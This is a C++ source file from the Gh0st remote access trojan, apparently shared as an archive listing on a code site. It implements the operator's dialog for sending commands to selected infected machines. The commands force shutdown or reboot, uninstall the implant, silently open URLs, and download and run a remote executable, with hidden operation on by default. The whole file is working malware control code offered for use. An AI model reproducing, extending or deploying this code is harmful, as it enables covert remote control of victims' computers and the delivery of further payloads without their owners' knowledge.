www.pudn.com > Gh0st.rar > CommonCommand.cpp, change:2011-02-05,size:4036b


// CommonCommand.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "client.h" 
#include "CommonCommand.h" 
#include "ClientDlg.h" 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
extern CClientDlg* g_pFrame; 
///////////////////////////////////////////////////////////////////////////// 
// CCommonCommand dialog 
 
 
CCommonCommand::CCommonCommand(CWnd* pParent /*=NULL*/) 
	: CDialog(CCommonCommand::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CCommonCommand) 
	m_OpenUrl = _T("http://www.baidu.com"); 
	m_DownExec = _T("http://www.baidu.com/server.exe"); 
	m_bSelectAll = FALSE; 
	m_bAutoExec = TRUE; 
	m_bOpenHide = TRUE; 
	m_bDownHide = TRUE; 
	//}}AFX_DATA_INIT 
} 
 
 
void CCommonCommand::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CCommonCommand) 
	DDX_Text(pDX, IDC_EDIT1, m_OpenUrl); 
	DDX_Text(pDX, IDC_EDIT2, m_DownExec); 
	DDX_Check(pDX, IDC_CHECK1, m_bSelectAll); 
	DDX_Check(pDX, IDC_CHECK2, m_bAutoExec); 
	DDX_Check(pDX, IDC_CHECK3, m_bOpenHide); 
	DDX_Check(pDX, IDC_CHECK4, m_bDownHide); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CCommonCommand, CDialog) 
	//{{AFX_MSG_MAP(CCommonCommand) 
	ON_BN_CLICKED(IDC_BTN_UNINSTALL, OnBtnUninstall) 
	ON_BN_CLICKED(IDC_BTN_SHUTDOWN, OnBtnShutdown) 
	ON_BN_CLICKED(IDC_BTN_REBOOT, OnBtnReboot) 
	ON_BN_CLICKED(IDC_BTN_OPENURL, OnBtnOpenurl) 
	ON_BN_CLICKED(IDC_BTN_DOWNEXEC, OnBtnDownexec) 
	ON_BN_CLICKED(IDC_CHECK1, OnCheckAll) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CCommonCommand message handlers 
 
void CCommonCommand::OnBtnUninstall()  
{ 
	// TODO: Add your control notification handler code here	 
	if (MessageBox("确认卸载服务端吗 -:)", "警告", MB_YESNO | MB_ICONWARNING) == IDNO) 
		return; 
	BYTE	bToken = COMMAND_REMOVE; 
	g_pFrame->m_CommandBcast.SendSelectCommands(&bToken, sizeof(BYTE)); 
} 
 
void CCommonCommand::OnBtnShutdown()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE bToken[2]; 
	bToken[0] = COMMAND_SESSION; 
	bToken[1] = EWX_SHUTDOWN | EWX_FORCE; 
	g_pFrame->m_CommandBcast.SendSelectCommands((LPBYTE)&bToken, sizeof(bToken)); 
} 
 
void CCommonCommand::OnBtnReboot()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE bToken[2]; 
	bToken[0] = COMMAND_SESSION; 
	bToken[1] = EWX_REBOOT | EWX_FORCE; 
	g_pFrame->m_CommandBcast.SendSelectCommands((LPBYTE)&bToken, sizeof(bToken)); 
} 
 
void CCommonCommand::OnBtnOpenurl()  
{ 
	// TODO: Add your control notification handler code here 
 
	m_OpenUrl.MakeLower(); 
	if (m_OpenUrl.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = m_OpenUrl.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	if (m_bOpenHide) 
	 lpPacket[0] = COMMAND_OPEN_URL_HIDE; 
	else 
	 lpPacket[0] = COMMAND_OPEN_URL_SHOW; 
	memcpy(lpPacket + 1, m_OpenUrl.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->m_CommandBcast.SendSelectCommands(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CCommonCommand::OnBtnDownexec()  
{ 
	// TODO: Add your control notification handler code here 
	m_DownExec.MakeLower(); 
	if (m_DownExec.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = m_DownExec.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	lpPacket[0] = COMMAND_DOWN_EXEC; 
	memcpy(lpPacket + 1, m_DownExec.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->m_CommandBcast.SendSelectCommands(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CCommonCommand::OnCheckAll()  
{ 
	// TODO: Add your control notification handler code here 
    UpdateData(TRUE); 
	int nCount=g_pFrame->m_CommandBcast.m_list_computer.GetItemCount(); 
	for (int i=0;i<nCount;i++) 
	{ 
		if (m_bSelectAll) 
		 g_pFrame->m_CommandBcast.m_list_computer.SetCheck(i,TRUE); 
		else 
		 g_pFrame->m_CommandBcast.m_list_computer.SetCheck(i,FALSE); 
	} 
}